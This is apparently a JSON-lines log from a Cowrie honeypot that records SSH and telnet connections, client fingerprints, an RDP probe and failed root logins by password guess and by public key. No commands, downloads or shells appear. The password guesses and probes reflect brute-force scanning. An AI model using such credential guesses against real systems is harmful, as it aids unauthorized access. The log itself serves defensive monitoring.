{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:c2:16:14:d3:7f:99:1b:48:ac:dd:f6:ec:83:eb:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFBSv0hFfshYpqB2lhoVopUXqLCt12JkvfFCclK2JWBfkMgzzLgqGSEhfEdtc1DawQpwoqXjGBftihx/pB1FUWdRtZdwJetoXiuXQYDMXhe3n0xf/kQz9GQBZa2b4ClBYG46suq/7pBUFN2AX72hC5Ukjcm4+3RHVe4xOmX/6R6+IJev8gxcZcLTDQ5z8K1c3gCQ3AFktFBBcojp0m0B5EcH07GfdzGF5w3FGRKSBkpfwW3aHhsTbNNNRzKuTv6JwAOUmQ6H7mxffK3RorCikQZMtHt0iezuv4kXvbRSu8rMPllgSW0tviVRsYxd5/rrMyto9GuCbnVTX62woSdypN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.865118Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:22.954545Z","src_ip":"51.75.149.221","session":"d9ecc1d61968","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:24.655986Z","src_ip":"115.190.168.136","session":"9c3593e479c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":58476,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f0ef9a7454d","protocol":"ssh","message":"New connection: 89.223.69.22:58476 (159.203.135.109:22) [session: 5f0ef9a7454d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:42.634466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:42.638623Z","src_ip":"89.223.69.22","session":"5f0ef9a7454d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:42.754158Z","src_ip":"89.223.69.22","session":"5f0ef9a7454d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strelok","message":"login attempt [root/strelok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:43.104372Z","src_ip":"89.223.69.22","session":"5f0ef9a7454d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:15:44.223890Z","src_ip":"89.223.69.22","session":"5f0ef9a7454d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52246,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfcd94de6468","protocol":"telnet","message":"New connection: 192.119.13.58:52246 (10.17.0.5:23) [session: cfcd94de6468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:15.538505Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":39966,"dst_ip":"159.203.135.109","dst_port":22,"session":"a72bbf6b652a","protocol":"ssh","message":"New connection: 103.82.20.28:39966 (159.203.135.109:22) [session: a72bbf6b652a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:28.415812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:28.419886Z","src_ip":"103.82.20.28","session":"a72bbf6b652a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:28.682360Z","src_ip":"103.82.20.28","session":"a72bbf6b652a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"481516234","message":"login attempt [root/481516234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:29.469356Z","src_ip":"103.82.20.28","session":"a72bbf6b652a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:30.734348Z","src_ip":"103.82.20.28","session":"a72bbf6b652a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.197.250.14","src_port":34536,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa07d9856157","protocol":"ssh","message":"New connection: 168.197.250.14:34536 (10.17.0.5:22) [session: fa07d9856157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:55.328773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:55.334022Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:55.489279Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:9b:14:b2:df:fe:87:06:c5:d4:ff:ee:5d:0e:07:aa","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHtCBjXzzjhs0xRxgmO60J8bQvxfs67xxGhf1Bd4bkA","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 6d:9b:14:b2:df:fe:87:06:c5:d4:ff:ee:5d:0e:07:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:56.252791Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:9b:14:b2:df:fe:87:06:c5:d4:ff:ee:5d:0e:07:aa","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOHtCBjXzzjhs0xRxgmO60J8bQvxfs67xxGhf1Bd4bkA","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:56.256120Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:e6:5c:a0:12:af:5f:eb:5f:0c:fe:4a:5e:1c:3a:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgUhtGTIRTAdgvgOFGu7buAWE5jo0QnnAQWRrWL0E0oFRw9i2urzcsuHnDT0U+psK2HYd8sbeqCKftIAHcbFBcq3Mg3x3izA+Xef47sgwPbb7csuH58XajeuOwMlurrqT1osAzyKz/KKMwX+DaLoAChjsVbTRrIwvcIymh4H2yikGrCOC/jYNRTRJVFKx9GKXJ0eDIPbjz50o2luPuIGZwUIcFfqj/ljwwmVezU7V/HdtpzaS7Eybn6DK9in4cuQddWywApHOlScvsU2TLBfGmvEptAXwKg6CajbbfWG5Z0AQv4NtkaQtwCfa5yGhyv891c1oEoMX/JoYLaNA/49cJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:e6:5c:a0:12:af:5f:eb:5f:0c:fe:4a:5e:1c:3a:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:56.410947Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:e6:5c:a0:12:af:5f:eb:5f:0c:fe:4a:5e:1c:3a:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgUhtGTIRTAdgvgOFGu7buAWE5jo0QnnAQWRrWL0E0oFRw9i2urzcsuHnDT0U+psK2HYd8sbeqCKftIAHcbFBcq3Mg3x3izA+Xef47sgwPbb7csuH58XajeuOwMlurrqT1osAzyKz/KKMwX+DaLoAChjsVbTRrIwvcIymh4H2yikGrCOC/jYNRTRJVFKx9GKXJ0eDIPbjz50o2luPuIGZwUIcFfqj/ljwwmVezU7V/HdtpzaS7Eybn6DK9in4cuQddWywApHOlScvsU2TLBfGmvEptAXwKg6CajbbfWG5Z0AQv4NtkaQtwCfa5yGhyv891c1oEoMX/JoYLaNA/49cJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:56.414662Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:ef:1d:a1:2d:a8:bc:11:4f:c1:da:12:fd:47:64:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCgR9rMPVagoZalIXxMZdklzZmJNRMlHRixTUnhJh4lCCPG0LiMBvZNyuFc2r07YCFgKFTR6y8nLNTs7U0UySNi6w4htubqlEmQiifYBjXhe0Ve9Ke0JAhlBgt0i+2is8YCsomhIaKBZdMDiJj6ttcz7qAZlSe2ryAdCkr32l4SaB6wRxch8OLW4v7UMpSngqt2WrkOOLYELdp8XGsn6OJ0XH3doukaC6/HMBY42XncE+rgPOpLQYC2WnzW6FsAS7Pw7ex2AGlSFDQwB4Kn9nWyY8kviPVG+Ajp3wW2wr1TL4HkIdKpglA6rUoLu/au9ibMNbSQSsEF8Repqvt7fA69TknhaaCxU0UmLZe7DFKiOJmeks2ciCQJcXVDLVzsBdVLcp4s0WDyw8ShrzLwwjydJb+jFjU2fgipTBcTGq7PnpMfClV4zWVW0xWmmniYalV0J2RndLPUALI3bjTN4jHj+yxgpKnu3BwwGq5gBsUVo1j5HRXX5Lnam/A0y0sNSSc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:ef:1d:a1:2d:a8:bc:11:4f:c1:da:12:fd:47:64:a3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:56.570341Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:ef:1d:a1:2d:a8:bc:11:4f:c1:da:12:fd:47:64:a3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCgR9rMPVagoZalIXxMZdklzZmJNRMlHRixTUnhJh4lCCPG0LiMBvZNyuFc2r07YCFgKFTR6y8nLNTs7U0UySNi6w4htubqlEmQiifYBjXhe0Ve9Ke0JAhlBgt0i+2is8YCsomhIaKBZdMDiJj6ttcz7qAZlSe2ryAdCkr32l4SaB6wRxch8OLW4v7UMpSngqt2WrkOOLYELdp8XGsn6OJ0XH3doukaC6/HMBY42XncE+rgPOpLQYC2WnzW6FsAS7Pw7ex2AGlSFDQwB4Kn9nWyY8kviPVG+Ajp3wW2wr1TL4HkIdKpglA6rUoLu/au9ibMNbSQSsEF8Repqvt7fA69TknhaaCxU0UmLZe7DFKiOJmeks2ciCQJcXVDLVzsBdVLcp4s0WDyw8ShrzLwwjydJb+jFjU2fgipTBcTGq7PnpMfClV4zWVW0xWmmniYalV0J2RndLPUALI3bjTN4jHj+yxgpKnu3BwwGq5gBsUVo1j5HRXX5Lnam/A0y0sNSSc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:56.574065Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:92:91:0d:49:0f:15:23:5b:c6:44:ef:1b:7b:9a:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsnj57mE1gYFClrg0fvOrs5Q1SJiE5DU3fW1fYRV18wAEdS7tSWoLKITZH9BvJrG+Zq8N8d06pMLdBh7qg4YwDAbAXG/UPCjsdBIXKbvsWlBhDshk3i2dGeMlHTj6c+RJLgDOg9C8HQYEH27II7xBkjmJPCRrlJbG+9HlFpiXXs1liq/TojB9cueEEob+YIR6qSvPii2pYJDOKyJO4EK2c8N6rQoBhsUDfTcaq0BxredgGDwa4TvB757iWFM0o9HZ/SYXA/xklokhMznIVELTrpCB1QbY3cajusyBnW96UUVSRvTI2FW+uhcI5h3tgwAZ6VaFcT2vp2/hKPSReBlBsw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:92:91:0d:49:0f:15:23:5b:c6:44:ef:1b:7b:9a:1a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:56.729558Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:92:91:0d:49:0f:15:23:5b:c6:44:ef:1b:7b:9a:1a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsnj57mE1gYFClrg0fvOrs5Q1SJiE5DU3fW1fYRV18wAEdS7tSWoLKITZH9BvJrG+Zq8N8d06pMLdBh7qg4YwDAbAXG/UPCjsdBIXKbvsWlBhDshk3i2dGeMlHTj6c+RJLgDOg9C8HQYEH27II7xBkjmJPCRrlJbG+9HlFpiXXs1liq/TojB9cueEEob+YIR6qSvPii2pYJDOKyJO4EK2c8N6rQoBhsUDfTcaq0BxredgGDwa4TvB757iWFM0o9HZ/SYXA/xklokhMznIVELTrpCB1QbY3cajusyBnW96UUVSRvTI2FW+uhcI5h3tgwAZ6VaFcT2vp2/hKPSReBlBsw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:56.733746Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:b9:ba:84:31:a2:cd:27:da:5e:5d:26:91:38:aa:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm7th9U6lCUMpHcjEX9qPh2NRw3LNXo/IX0SUl8MGD/bI+y75CSRzJSftxfjEjVClUQ0dPT/26sV14z7qcrRaWYdpbujCW9ezNUeKZ5Am8ty6ZAf5eT70dp08+b4Rv9smqTiXYdixxBEJAyzlcyZfVsaxKylO9PqusaWFXwC98GijVwHGezdnTzXaVWJumqPXjEAX3AZ/OZ/BeYAzvV/sPcbUmEG2gmbAjR7f4ySj7uzZkdyKTIWx32zc3Gb2JtihEVlXr/ajoZpkq+/MLCJzZbfuqjbtgabbhFK8JEDJ2puPTt3672RgAYNocqwd/hn6Z8u6CiNBxLrXTNjcLlgbufCSgB/X5NWNXWyKAubt8i8WZuRiT+JIDOHSZgoBh+Q0LwdCpE6z59JYC3i+iYCe+Yzkoo0wp9gUccSEjCF2QnNBHGLyQpnMx8lEkaU0xQ4c9MGObRp+krM8XFGLnKYkRqzUidyO4GLQZBMCMpmYLLt055SDEvE59nGEZEN5FgQc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:b9:ba:84:31:a2:cd:27:da:5e:5d:26:91:38:aa:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:56.890990Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:b9:ba:84:31:a2:cd:27:da:5e:5d:26:91:38:aa:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCm7th9U6lCUMpHcjEX9qPh2NRw3LNXo/IX0SUl8MGD/bI+y75CSRzJSftxfjEjVClUQ0dPT/26sV14z7qcrRaWYdpbujCW9ezNUeKZ5Am8ty6ZAf5eT70dp08+b4Rv9smqTiXYdixxBEJAyzlcyZfVsaxKylO9PqusaWFXwC98GijVwHGezdnTzXaVWJumqPXjEAX3AZ/OZ/BeYAzvV/sPcbUmEG2gmbAjR7f4ySj7uzZkdyKTIWx32zc3Gb2JtihEVlXr/ajoZpkq+/MLCJzZbfuqjbtgabbhFK8JEDJ2puPTt3672RgAYNocqwd/hn6Z8u6CiNBxLrXTNjcLlgbufCSgB/X5NWNXWyKAubt8i8WZuRiT+JIDOHSZgoBh+Q0LwdCpE6z59JYC3i+iYCe+Yzkoo0wp9gUccSEjCF2QnNBHGLyQpnMx8lEkaU0xQ4c9MGObRp+krM8XFGLnKYkRqzUidyO4GLQZBMCMpmYLLt055SDEvE59nGEZEN5FgQc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:56.897997Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:57.054234Z","src_ip":"168.197.250.14","session":"fa07d9856157","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49374,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4fd4b973dda","protocol":"ssh","message":"New connection: 152.42.212.128:49374 (10.17.0.5:22) [session: d4fd4b973dda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:59.889213Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:59.893775Z","src_ip":"152.42.212.128","session":"d4fd4b973dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:16:59.897252Z","src_ip":"152.42.212.128","session":"d4fd4b973dda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.08406090736389,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:17:00.622448Z","src_ip":"192.119.13.58","session":"cfcd94de6468","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.253.239.21","src_port":39068,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a9e4aa128a3","protocol":"ssh","message":"New connection: 38.253.239.21:39068 (159.203.135.109:22) [session: 1a9e4aa128a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:17:15.046388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:17:15.051788Z","src_ip":"38.253.239.21","session":"1a9e4aa128a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:17:15.277834Z","src_ip":"38.253.239.21","session":"1a9e4aa128a3","protocol":"ssh"}
